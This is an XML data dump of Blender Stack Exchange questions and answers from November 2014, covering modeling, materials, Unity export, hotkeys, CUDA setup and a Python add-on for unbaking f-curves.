  <row Id="19345" PostTypeId="2" ParentId="16359" CreationDate="2014-11-29T18:40:52.473" Score="6" Body="&lt;p&gt;Select all objects that share linked data, then select your new object last so that it is the active object. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; and select &lt;code&gt;Object Data&lt;/code&gt; from the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/86yMD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Acse5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-11-29T18:40:52.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19346" PostTypeId="1" CreationDate="2014-11-29T18:44:08.930" Score="0" ViewCount="351" Body="&lt;p&gt;So I have animated a mask for video editing, and then for whatever reason, the video changed to where the video had the same frame for 2 frames. So the mask is 1 frame offset in the middle of the animation. Is there a way to fix this? Or perhaps a way to change the mask animation in nla or something?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-11-29T18:44:08.930" Title="Movie Editor Masking Animate change?" Tags="&lt;animation&gt;&lt;masking&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19347" PostTypeId="1" AcceptedAnswerId="19360" CreationDate="2014-11-29T19:34:42.297" Score="1" ViewCount="2877" Body="&lt;p&gt;I'm new to blender and Unity so my Question is simple , My Design lost some materials like some colors after Importing it to Unity , I exported it as .fbx file and Imported it to unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is The design from Blender :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sw0Ic.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is it after importing it to Unity and lost some colors , and looks bad not like in blender (note I didn't use textures in Blender just colors from Blender itself) :  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3bKpM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is Appreciated .&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="241" LastEditDate="2014-11-29T19:53:30.837" LastActivityDate="2014-11-30T03:46:11.170" Title="My 3D object looks different when exporting it to Unity?" Tags="&lt;mesh&gt;&lt;export&gt;&lt;import&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19348" PostTypeId="2" ParentId="16661" CreationDate="2014-11-29T20:57:41.747" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/16661/is-it-possible-to-manipulate-normals-explicitly-in-blender#comment23810_16661&quot;&gt;As @MarcClintDion said&lt;/a&gt;, this is not possible... Yet. There is a custom &lt;code&gt;Split Normals&lt;/code&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/User:Mont29/Foundation/Split_Vertex_Normals&quot; rel=&quot;nofollow noreferrer&quot;&gt;branch&lt;/a&gt; being worked on by Bastien Montagne(Mont29) to try to incorporate this into Blender; However, it's not yet finished - &lt;em&gt;Loop Normal Edition&lt;/em&gt; is the current sub-project under development.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-11-29T20:57:41.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19349" PostTypeId="1" AcceptedAnswerId="19351" CreationDate="2014-11-29T21:13:32.973" Score="2" ViewCount="356" Body="&lt;p&gt;Just looking for best practice here. Let's say I'm building a house. The roof, windows, door and shutters are all different textures. Should this all be one object or multiple objects (and if so, should they all be parented to the same object?)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume they should be different objects so I can apply different textures. Is this the correct assumption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8041" LastActivityDate="2014-11-30T15:59:10.717" Title="Should Every Different Textured Piece Be It's Own Object" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2014-11-30T16:34:00.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="19351" PostTypeId="2" ParentId="19349" CreationDate="2014-11-29T21:46:32.787" Score="5" Body="&lt;p&gt;If you're just concerned about how the object looks, there might not be any reason to make them separate objects; multiple materials can be assigned to a single object:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a material slot and new material&lt;/li&gt;&#xA;&lt;li&gt;Select some vertices&lt;/li&gt;&#xA;&lt;li&gt;Assign the material to the selected vertices&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6mxZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-29T21:46:32.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19352" PostTypeId="1" AcceptedAnswerId="19355" CreationDate="2014-11-29T21:56:34.810" Score="12" ViewCount="13464" Body="&lt;p&gt;Is there a hotkey or shortcut to change the type of the active transform manipulator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tXovi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://archive.blender.org/development/release-logs/blender-237a/3d-transform-manipulators/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This site&lt;/a&gt; lists&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; for translate&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; for rotation&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; for scale&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;none of which work for me. Are these the correct current shortcuts?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="66363" LastEditDate="2019-06-03T05:50:48.923" LastActivityDate="2019-06-03T05:50:48.923" Title="Hotkey for selecting transform manipulator type" Tags="&lt;interface&gt;&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19353" PostTypeId="2" ParentId="19336" CreationDate="2014-11-29T22:01:18.057" Score="5" Body="&lt;p&gt;I got it working, and I can at least partially answer my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem #1: There are two CUDA 6.5 packages at nvidia, a &quot;normal&quot; one and one &quot;with Support for GeForce GTX9xx GPUs&quot; (&lt;a href=&quot;https://developer.nvidia.com/cuda-downloads-geforce-gtx9xx&quot;&gt;here&lt;/a&gt;). Choose the later one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem #2: I had already installed the nvidia 343.22 driver from xorg/edgers. The CUDA packages comes with its own 343.19 (as well as its own &lt;em&gt;nivdia-modprobe&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: I've used the .deb file (not the .run one). This drops a handful of other .deb files onto the system, but does not install them. After apt-get update-ing they can be installed using: apt-get install cuda&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to bring the system into a terminal-only state where no nvidia driver was running in order to remove the 343.22 one and install the cuda package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding to my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blender does use the (external) CUDA install.&lt;/li&gt;&#xA;&lt;li&gt;2.42b produces a black screen and an error message in the terminal, i.e. there is a code change needed for the GTX 970 to work&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;nvidia-modprobe&lt;/em&gt; is part of the package - i.e. no need to install it separately.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2014-11-29T22:01:18.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19354" PostTypeId="2" ParentId="19294" CreationDate="2014-11-29T22:33:52.783" Score="2" Body="&lt;p&gt;Have you tried incrementing motion? You might try using a setup like the one in the image below to increment the motion of the characters (Although you can set the frequency extremely low) and then adding a non-rendering collision mesh ahead of the character that rotates them when they're about to hit a wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just set the motion value to the number of blender units per grid space on your map, an that should do it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8lpcm.png&quot; alt=&quot;Screenshot demonstrating logic brick layout for incremental motion.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps! Just a quick aside, if the motion winds up being too fast, try halfing the value for motion. That'll slow it down while still preserving the grid-based motion.&lt;/p&gt;&#xA;" OwnerUserId="8085" LastActivityDate="2014-11-29T22:33:52.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19355" PostTypeId="2" ParentId="19352" CreationDate="2014-11-30T00:36:27.583" Score="12" Body="&lt;p&gt;First what you linked to is for blender version &lt;strong&gt;2.37&lt;/strong&gt; not 2.73, so the shortcuts are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a shortcut to switch the manipulator type; open up the user preferences.&lt;br&gt;&#xA;Under the &lt;em&gt;Input&lt;/em&gt; tab add a new shortcut under &lt;em&gt;3D View&lt;/em&gt; &gt; &lt;em&gt;3D View (Global)&lt;/em&gt;. Type &lt;code&gt;view3d.enable_manipulator&lt;/code&gt; in to the identifier field, then just check one of the grayed out boxes for &lt;em&gt;Translate&lt;/em&gt;, &lt;em&gt;Scale&lt;/em&gt;, and &lt;em&gt;Rotate&lt;/em&gt;. The only hard part will be finding 3 unused shortcuts to use for the new transform manipulator shortcuts.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DlorB.png&quot; alt=&quot;user preferences&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other transform manipulator shortcuts:&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;space&lt;/kbd&gt; is the default shortcut to toggle on and of the transform manipulator.&lt;br&gt;&#xA;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;space&lt;/kbd&gt; open a menu to change the orientation type.&lt;br&gt;&#xA;When using the buttons in the 3D view header, holding &lt;kbd&gt;Shift&lt;/kbd&gt; allows for more then one  manipulator type to be active at a time.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-11-30T00:46:57.713" LastActivityDate="2014-11-30T00:46:57.713" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19356" PostTypeId="2" ParentId="7584" CreationDate="2014-11-30T01:31:47.643" Score="0" Body="&lt;p&gt;Normally Blender starts in the &quot;User Persp&quot; view but as soon as you go to the quad view, Blender switches to the &quot;User Ortho&quot; view. You can toggle between both modes with &lt;kbd&gt;NumPad 5&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow&quot;&gt;Perspective and Orthographic Projection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user8251" LastEditorUserId="2217" LastEditDate="2014-11-30T04:43:58.527" LastActivityDate="2014-11-30T04:43:58.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19357" PostTypeId="1" AcceptedAnswerId="19358" CreationDate="2014-11-30T02:38:30.980" Score="5" ViewCount="1855" Body="&lt;p&gt;I have an f-curve baked from an audio file, but finding it too jittery for my usage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z1lmU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It there a way to smooth the baked curve? I've looked through the modifiers, expecting to find a filter, but there doesn't seem to be one.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-30T03:26:41.010" Title="Smoothing a baked f-curve" Tags="&lt;animation&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19358" PostTypeId="2" ParentId="19357" CreationDate="2014-11-30T03:13:03.520" Score="3" Body="&lt;p&gt;First, you can un-bake them:&#xA;&lt;em&gt;(Install this as an add-on)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#########################################&#xA;# resamples baked f-curves to a new     #&#xA;# action + f-curve or a 3d bezier curve #&#xA;#########################################&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;unbake f-curve&quot;,&#xA;    &quot;author&quot;: &quot;liero&quot;,&#xA;    &quot;version&quot;: (0, 4),&#xA;    &quot;blender&quot;: (2, 6, 0),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; Properties Panel&quot;,&#xA;    &quot;description&quot;: &quot;Resample baked f-curve to a new Action / f-curve&quot;,&#xA;    &quot;category&quot;: &quot;Animation&quot;}&#xA;&#xA;import bpy&#xA;&#xA;bpy.types.WindowManager.RGB = bpy.props.BoolProperty(name='Use RGB colors', default=True, description='Use RGB colors for f-curves')&#xA;bpy.types.WindowManager.scaleX = bpy.props.FloatProperty(name='X scale', min=.01, max=5, default=.1, description='X scale for 3d curve')&#xA;bpy.types.WindowManager.scaleY = bpy.props.FloatProperty(name='Y scale', min=.001, max=5, default=1, description='Z scale for 3d curve')&#xA;bpy.types.WindowManager.use_radius = bpy.props.BoolProperty(name='Use Radius', default=False, description='Use Radius / Height to visualize')&#xA;&#xA;class Boton(bpy.types.Panel):&#xA;    bl_label = 'unBake selected fcurves'&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        wm = context.window_manager&#xA;        layout = self.layout&#xA;        box = layout.box()&#xA;        box.operator('curve.unbake_action')&#xA;        box.prop(wm, &quot;RGB&quot;)&#xA;        box = layout.box()&#xA;        box.operator('curve.unbake_bezier')&#xA;        column = box.column(align=True)&#xA;        column.prop(wm, 'scaleX')&#xA;        column.prop(wm, 'scaleY')&#xA;        box.prop(wm, 'use_radius')&#xA;&#xA;class UnBakeA(bpy.types.Operator):&#xA;    bl_idname = 'curve.unbake_action'&#xA;    bl_label = 'unBake to Action'&#xA;    bl_description = 'Resample baked f-curve to a new Action / f-curve'&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object and context.object.animation_data)&#xA;&#xA;    def execute(self, context):&#xA;        obj = bpy.context.object&#xA;        wm = bpy.context.window_manager&#xA;        pts = [(c.sampled_points, c.data_path, c.array_index) for c in obj.animation_data.action.fcurves if c.sampled_points and c.select]&#xA;        if pts:&#xA;            keys = bpy.data.actions.new(name='KEYS')&#xA;            for sam, dat, ind in pts:&#xA;                fcu = keys.fcurves.new(data_path=dat, index=ind)&#xA;                if wm.RGB: fcu.color_mode = 'AUTO_RGB'&#xA;                fcu.keyframe_points.add(len(sam))&#xA;                for i in range(len(sam)):&#xA;                    w = fcu.keyframe_points[i]&#xA;                    w.co = w.handle_left = w.handle_right = sam[i].co&#xA;            obj.animation_data.action = keys&#xA;        return{'FINISHED'}&#xA;&#xA;class UnBakeB(bpy.types.Operator):&#xA;    bl_idname = 'curve.unbake_bezier'&#xA;    bl_label = 'unBake to 3D'&#xA;    bl_description = 'Resample baked f-curve to a 3d Bezier curve'&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object and context.object.animation_data)&#xA;&#xA;    def execute(self, context):&#xA;        obj = bpy.context.object&#xA;        wm = bpy.context.window_manager&#xA;        for c in obj.animation_data.action.fcurves:&#xA;            if c.sampled_points and c.select:&#xA;                sam = c.sampled_points&#xA;                cu = bpy.data.curves.new('path','CURVE')&#xA;                cu.dimensions = '3D'&#xA;                if wm.use_radius:&#xA;                    cu.fill_mode = 'FULL'&#xA;                    cu.bevel_resolution = 6&#xA;                    cu.resolution_u = 1&#xA;                    cu.bevel_depth = 1&#xA;                spline = cu.splines.new('BEZIER')&#xA;                spline.bezier_points.add(len(sam)-1)&#xA;                curva = bpy.data.objects.new('curve',cu)&#xA;                bpy.context.scene.objects.link(curva)&#xA;                for i in range(len(sam)):&#xA;                    w = spline.bezier_points[i]&#xA;                    y = wm.scaleY*sam[i].co[1]&#xA;                    if wm.use_radius:&#xA;                        w.radius = y&#xA;                        y = 0&#xA;                    coords = (wm.scaleX*sam[i].co[0],y,0)&#xA;                    w.co = w.handle_left = w.handle_right = coords&#xA;&#xA;        return{'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(Boton)&#xA;    bpy.utils.register_class(UnBakeA)&#xA;    bpy.utils.register_class(UnBakeB)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(Boton)&#xA;    bpy.utils.unregister_class(UnBakeA)&#xA;    bpy.utils.unregister_class(UnBakeB)&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Script by &lt;strong&gt;liero&lt;/strong&gt; (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?221387-resample-baked-f-curve&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?221387-resample-baked-f-curve&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select them all and hit &lt;kbd&gt;Alt&lt;/kbd&gt; - &lt;kbd&gt;0&lt;/kbd&gt;. You may need to use it multiple times to get the desired effect. This is non-procedural, and any change you make are not easily undone (You have to use Undo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you wan't to, you can re-bake them.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-11-30T03:26:41.010" LastActivityDate="2014-11-30T03:26:41.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19359" PostTypeId="2" ParentId="19349" CreationDate="2014-11-30T03:28:13.780" Score="3" Body="&lt;p&gt;In my view, the answer is going to depend upon a number of other considerations. If you're creating meshes for a model of a house, and you're going to want the choice of showing the windows and doors either open or closed, you will need every window and door you want to be able to modify individually to be independent both from the main mesh, and from the other windows and doors you want to be able to modify. If you want a weather vane on the roof, and want it to be able to indicate the virtual wind, part of the weather vane needs to be a separate object, too, so that it can be rotated. However, this principle does not necessarily apply to texturing, as the same texture can be applied to multiple materials by means of careful unwrapping / mapping. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-11-30T15:59:10.717" LastActivityDate="2014-11-30T15:59:10.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19360" PostTypeId="2" ParentId="19347" CreationDate="2014-11-30T03:46:11.170" Score="2" Body="&lt;p&gt;It sort of looks like you have a subsurf modifier on the object. Unity doesn't actually take the raw blender file when you import it as an asset. It actually exports the blender model as an fbx and then imports that into Unity. Exporters tend to apply modifiers before they export. What Unity is allowing you to do is sit back while it does all of the export/import work for you. It's also going to have some wonkiness when it comes to translating the materials so you should always use a UV texture even if you're just talking about a flat color on the object just so you have some predictability and control.&lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2014-11-30T03:46:11.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19361" PostTypeId="2" ParentId="19338" CreationDate="2014-11-30T03:50:46.860" Score="3" Body="&lt;p&gt;When dealing with glass you need the object to have some thickness.&#xA;To illustrate the issue with two identical glasses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PNamN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The glass on the right has only a subsurf modifier, you can clearly see a lot of artifacts as white and black bands. The one on the left has a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Solidify&quot; rel=&quot;nofollow noreferrer&quot;&gt;Solidify&lt;/a&gt; modifier before the subsurf. The glass looks much cleaner and realistic, and you don't need that many samples (This image was rendered with only 100 samples)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NfeEr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-11-30T03:50:46.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19362" PostTypeId="2" ParentId="19314" CreationDate="2014-11-30T05:20:51.857" Score="2" Body="&lt;p&gt;The animate checkbox itself can have keyframes.  You can have it controlled by the animation system at the start, then turn off the Animated checkbox with a keyframe and physics will take over.  This is a common technique for launching projectiles.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-30T05:20:51.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19363" PostTypeId="1" CreationDate="2014-11-30T06:27:46.130" Score="2" ViewCount="354" Body="&lt;p&gt;To debug a messy material node setup in Cycles, I want to remove one link between certain nodes, then restore it when I'm done putzing around.  Being absent-minded, I don't trust myself to remember.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some easy way to turn off a link temporarily, making it as if it weren't there,  without actually deleting it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever trick there is to do this, it should be visually obvious, so I can see that the link is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cycles for materials right now, but I assume what I'm trying to do could apply to anything using a nodes editor.&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2019-04-13T17:05:50.667" Title="Can a link in a node setup be temporarily disabled?" Tags="&lt;node-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19364" PostTypeId="1" AcceptedAnswerId="19365" CreationDate="2014-11-30T09:08:28.140" Score="12" ViewCount="20132" Body="&lt;p&gt;How can I deselect all object on all layers? Key A only works for current layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 20 layers, with different game buildings and before exporting I need to select what to export. If I forgot to deselect on different layer it will get exported too.&lt;/p&gt;&#xA;" OwnerUserId="8254" LastEditorUserId="55" LastEditDate="2014-11-30T16:24:56.237" LastActivityDate="2014-11-30T16:24:56.237" Title="Deselect all objects (also on hidden layers)" Tags="&lt;selection-tools&gt;&lt;layers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19365" PostTypeId="2" ParentId="19364" CreationDate="2014-11-30T09:19:53.510" Score="8" Body="&lt;p&gt;You can press &lt;kbd&gt;`&lt;/kbd&gt; which is usually found immediately to the left of the &lt;kbd&gt;1&lt;/kbd&gt; and directly above &lt;kbd&gt;TAB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make every layer visible so now using &lt;kbd&gt;a&lt;/kbd&gt; will function as you would like it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could just select something using a mouse/pen click, this will also release any hidden layer selections.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-30T09:19:53.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19366" PostTypeId="1" CreationDate="2014-11-30T09:50:50.310" Score="0" ViewCount="104" Body="&lt;p&gt;When I am in 3d view turning by pressing the scoll button doesn't work most of the time.&#xA;Sometimes it works and 1 sec later is doesn't anymore.&lt;br&gt;&#xA;my mouse is working fine and the scroll button is working fine.&lt;br&gt;&#xA;I have blender 2.72&lt;br&gt;&#xA;I hope this is enough information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does somebody know how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="8249" LastActivityDate="2014-11-30T09:50:50.310" Title="3d view turning problem" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19367" PostTypeId="2" ParentId="19364" CreationDate="2014-11-30T09:55:45.507" Score="4" Body="&lt;p&gt;On a localized keyboard this key is often only accessible with a modifier like &lt;kbd&gt;Shift&lt;/kbd&gt;. If it doesn't work as described by Marc check the settings in the &lt;em&gt;User Preferences&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W0mIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this key can be configured separately for the different modes. In other modes than 3D-View it defaults to &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;'&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-30T09:55:45.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19368" PostTypeId="1" AcceptedAnswerId="19405" CreationDate="2014-11-30T10:01:22.480" Score="4" ViewCount="1887" Body="&lt;p&gt;Is it possible to store each animation frame as a new object? I searched quite a long time now on google and was wondering that I cannot find any information about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just have a simple model with a simple pose animation and I'm looking for a way to get each frame stored as a new object, that I end up with maybe 100 objects &quot;frame001&quot;, &quot;frame002&quot;, &quot;frame003&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this for a game engine that does not support bone animations, but I can fake such an animation by exporting this object (as a collada) and then setting only one of the &quot;frame-objects&quot; visible in this engine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried to write a quick and dirty python script myself after some basic reading, but unfortunately the most important action (the conversion to a mesh) does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;count=0&#xA;&#xA;for x in range(bpy.data.scenes[&quot;Scene&quot;].frame_start,bpy.data.scenes[&quot;Scene&quot;].frame_end):&#xA;    bpy.ops.object.duplicate_move()&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;obs = bpy.data.objects&#xA;bpy.data.scenes[&quot;Scene&quot;].frame_current=0        &#xA;for ob in obs:&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;    if ob.type == 'MESH' and ob.name.startswith(&quot;model&quot;):&#xA;        if count&amp;gt;0:&#xA;            ob.select=True&#xA;            bpy.ops.object.convert(target='MESH')&#xA;            bpy.data.scenes[&quot;Scene&quot;].frame_current+=1&#xA;        count=count+1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="12" LastEditDate="2014-12-01T01:47:36.860" LastActivityDate="2017-07-26T21:09:28.517" Title="Store each animation frame as new object" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19369" PostTypeId="2" ParentId="15686" CreationDate="2014-11-30T10:15:39.063" Score="2" Body="&lt;p&gt;This is not yet possible. However, this is one of the many great things Particle Nodes will allow - these are still &lt;a href=&quot;https://www.youtube.com/watch?v=WV_bLziH1B0&quot; rel=&quot;nofollow&quot;&gt;in development&lt;/a&gt; but can be &lt;a href=&quot;http://www.graphicall.org/905&quot; rel=&quot;nofollow&quot;&gt;tested here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-11-30T10:21:58.217" LastActivityDate="2014-11-30T10:21:58.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19370" PostTypeId="1" CreationDate="2014-11-30T11:15:02.930" Score="3" ViewCount="683" Body="&lt;p&gt;I need a reliable method for path finding characters in my rts-like game, but there seems to be no solution at all if there isn't a fixed nav-mesh... How can I make my characters move around newly generated buildings in the game? I can't find any sample scripts anywhere :/&lt;br&gt;&#xA;I do not want to use the steering or path-following actuators, as their behaviour seems way too unreliable to me.&lt;/p&gt;&#xA;" OwnerUserId="8191" LastActivityDate="2015-04-07T12:13:40.267" Title="Is there a path finding solution for dynamic maps?" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
